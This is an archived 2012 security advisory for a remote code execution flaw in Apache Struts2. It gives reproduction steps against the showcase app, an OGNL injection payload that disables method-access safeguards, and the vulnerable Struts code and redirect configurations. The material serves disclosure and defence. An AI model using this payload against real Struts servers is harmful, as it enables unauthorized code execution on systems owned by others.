Apache Struts2 Remote Code Execution

2012-08-22T00:00:00
ID PACKETSTORM:115770
Type packetstorm
Reporter kxlzx
Modified 2012-08-22T00:00:00

Description

                                        
                                            `this method was published at xcon2012 xcon.xfocus.net.  
kxlzx http://www.inbreak.net  
  
flow this and step by step:  
  
1, down load struts2-showcase from struts.apache.org  
2, run struts2-showcase.  
3, open url:   
http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV  
4, write skill name to %{expr} for example:  
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}  
5, submit and all will done.  
  
this method:  
public static String translateVariables(String expression, ValueStack stack) {  
return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();  
}  
look two char "$" and "%"  
  
and  
this method:  
  
public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {  
// deal with the "pure" expressions first!  
//expression = expression.trim();  
Object result = expression;  
for (char open : openChars) {  
.........  
while (true) {  
..........  
String var = expression.substring(start + 2, end);  
  
Object o = stack.findValue(var, asType);  
............  
if user input is "%{expr}"  
this will execute ognl like:  
${%{expr}}  
  
this need devloper code like:  
  
<action name="redirect" class="net.inbreak.RedirectAction">  
<result name="redirect" type="redirect">${redirectUrl}</result>  
</action>  
  
or like:  
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">  
<result type="redirect">edit.action?skillName=${currentSkill.name}</result>  
</action>  
  
----------  
kxlzx at alibaba security team.  
my blog :http://www.inbreak.net  
`